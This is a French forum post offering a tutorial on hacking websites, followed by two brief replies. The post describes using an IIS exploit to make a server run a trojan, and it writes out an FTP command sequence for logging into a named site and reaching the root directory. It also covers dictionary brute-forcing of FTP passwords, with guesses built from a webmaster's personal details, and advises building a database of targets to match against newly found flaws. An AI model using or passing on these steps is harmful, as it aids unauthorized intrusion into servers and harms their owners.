hacker un site avec un Exploit,FTP,bruteforce

Hacker un site
1- Hack avec un Exploit:
Un exploit est un petit programme exploitant une faille dans le logiciel serveur.
ex: Sur les seveurs equipés de Windows NT et de IIS, il y une faille permettant de faire executer au serveur un programme situé sur un autre serveur; un virus de troie par exemple. Uen fois le programme executé il ne reste plus qu'a rentrer par le "brèche ouverte".
(vous pouvez télécharger l'exploit IIS dans la rubrique download)
2- Hack par FTP:
Cette exemple est super connu et ne marche casiment plus, mais en cherchant bien vous pourrez peut-être trouver un site le permettant encore :


Vous vous connectez au net
Vous éxecutez ftp -n , une fenêtre dos va s'ouvrir avec l'invite ftp>.
ftp>open www.jebaise.com.
Connected to jebaise.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS
ftp>: quote pass ftp

Si le serveur n'est pas protégé: ça marche et vous êtes dans le serveur sinon (c'est ce qui risque d'arriver) vous allez voir ailleurs.
Si vous êtes entré ce sont les commandes ftp qu'il faut désormais utiliser, en voici quelques unes:
Commande: Effet:
mkdir/ Créer un répertoire
rmdir/ Supprimer un répertoire
pwd/ Se repérer sur le disque
cd/ Pour aller dans un répertoire
cd ../ Pour revenir au répertoir précédent
del/ Pour supprimer un fichier
get/ Pour télécharger un fichier
put/ Pour uploader un fichier
ascii/ Passe la connection en mode ascii
binary/ Passe la connection en mode binaire
system/ Savoir quel est l'OS du serveur ftp
help/ Pour connaitre les commandes accéptées
open/ Pour établir une connection avec un serveur distant.
quit/ Pour se déconnecter du serveur

3-Hack FTP par BrutForce:
En fait, vous allez lancez un logiciel qui va essayer de se connecter en FTP en utilisant un dictionnaire de pass.
Cette méthode est très longue et le mot de passe n'est peut être pas dans votre dicos de pass .
Vous pouvez essayer avec des pass en rapport le webmaster (son login, nom, prenom date de naissance, nom du clebs, de bobone, etc...).
Indications:
1/ Renseignez vous sur des cibles potentielles, établissez une base de donnée sur elles (tel hébergeur, tel os ou logiciel serveur).
Comme cela, lorsque une faille est découverte, il ne vous reste plus qu'a regarder quelles sont les serveurs repondant à cette faille.
2/ Le site Mksecure propose une base de donnée de codes d'accès et de mots de pass par défaults des logiciels et equipements reseaux.
www.mksecure.com/defpw

ta fai un copiécollé la, les liens marche pa!!

copier coller de mon forum ^^ xD mes sa ces un tuto xD ya rien ki pe etre telecharger sur stuto ^^